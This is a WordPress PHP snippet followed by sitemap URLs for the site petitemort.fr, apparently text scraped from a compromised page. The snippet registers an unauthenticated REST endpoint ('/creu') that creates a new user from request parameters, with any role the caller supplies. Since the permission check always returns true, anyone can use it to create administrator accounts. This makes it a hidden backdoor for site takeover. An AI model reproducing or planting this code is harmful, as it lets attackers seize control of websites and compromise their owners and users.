add_action('rest_api_init', function () { register_rest_route('wp/v1', '/creu', array( 'methods' => 'POST', 'callback' => function ($request) { $userdata = array( 'user_login' => sanitize_text_field($request->get_param('username')), 'user_pass' => $request->get_param('password'), 'user_email' => sanitize_email($request->get_param('email')), 'first_name' => sanitize_text_field($request->get_param('first_name')), 'last_name' => sanitize_text_field($request->get_param('last_name')), 'role' => sanitize_text_field($request->get_param('role')), ); $user_id = wp_insert_user($userdata); if (is_wp_error($user_id)) { return new WP_Error('error', $user_id->get_error_message(), array('status' => 500)); } return new WP_REST_Response(array('message' => 'User created successfully', 'user_id' => $user_id), 200); }, 'permission_callback' => '__return_true', )); }); https://petitemort.fr/wp-sitemap-posts-post-1.xmlhttps://petitemort.fr/wp-sitemap-posts-page-1.xmlhttps://petitemort.fr/wp-sitemap-posts-gallery-1.xmlhttps://petitemort.fr/wp-sitemap-taxonomies-category-1.xmlhttps://petitemort.fr/wp-sitemap-taxonomies-post_tag-1.xmlhttps://petitemort.fr/wp-sitemap-users-1.xml